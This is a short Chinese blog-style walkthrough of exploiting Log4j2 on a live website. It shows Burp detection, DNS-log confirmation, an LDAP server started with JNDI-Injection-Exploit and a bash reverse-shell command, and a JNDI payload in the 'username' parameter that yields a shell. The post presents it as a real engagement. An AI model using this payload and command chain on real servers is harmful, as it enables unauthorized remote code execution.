Log4j2 漏洞實戰(zhàn)案例
在現(xiàn)在以及未來的一段時間里,Log4j2 漏洞依然是滲透和排查的重點(diǎn)。在測試靶場里復(fù)現(xiàn)多次,在實戰(zhàn)中遇到還是十分興奮,So,總得記錄點(diǎn)什么吧。
01、漏洞發(fā)現(xiàn)
通過burp插件的方式,將Log4j2漏洞檢測能力集成到burp進(jìn)行被動掃描。在訪問網(wǎng)站抓包的過程中,檢測到目標(biāo)站點(diǎn)存在Log4j2 RCE漏洞。

02、確認(rèn)漏洞參數(shù)
由于使用參數(shù)Fuzz,每個數(shù)據(jù)包里都夾帶多個參數(shù)注入Payload,我們需要進(jìn)一步定位到具體的漏洞參數(shù)位置。
(1)登錄ceye.io,可以查看當(dāng)前的dnslog。

(2)對比burp參數(shù)注入的payload和dnslog請求,可初步確認(rèn)參數(shù)username存在Log4j2 RCE漏洞。

03、構(gòu)建ldap服務(wù)
通過JNDI注入利用的工具,構(gòu)建好惡意類地址和ldap服務(wù),為進(jìn)一步漏洞利用做好準(zhǔn)備。
(1)構(gòu)建payload,將要執(zhí)行的命令進(jìn)行base64編碼,可通過Java Runtime 配合 bash 編碼實現(xiàn)。
在線編碼地址:
https://www.jackson-t.ca/runtime-exec-payloads.html
(2)用JNDIExploit啟動一個ldap的服務(wù)。
命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "編碼后的bash反彈shell命令" -A “監(jiān)聽的IP地址”

04、獲取目標(biāo)權(quán)限
利用Log4j2漏洞向目標(biāo)服務(wù)器發(fā)送構(gòu)造的payload語句,反彈shell,從而獲取目標(biāo)服務(wù)器權(quán)限。
(1)啟動端口監(jiān)聽

(2)在burp進(jìn)行構(gòu)造payload,url編碼后發(fā)送請求。
Payload:
?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}
(3)服務(wù)端成功接收到bash反彈的shell。



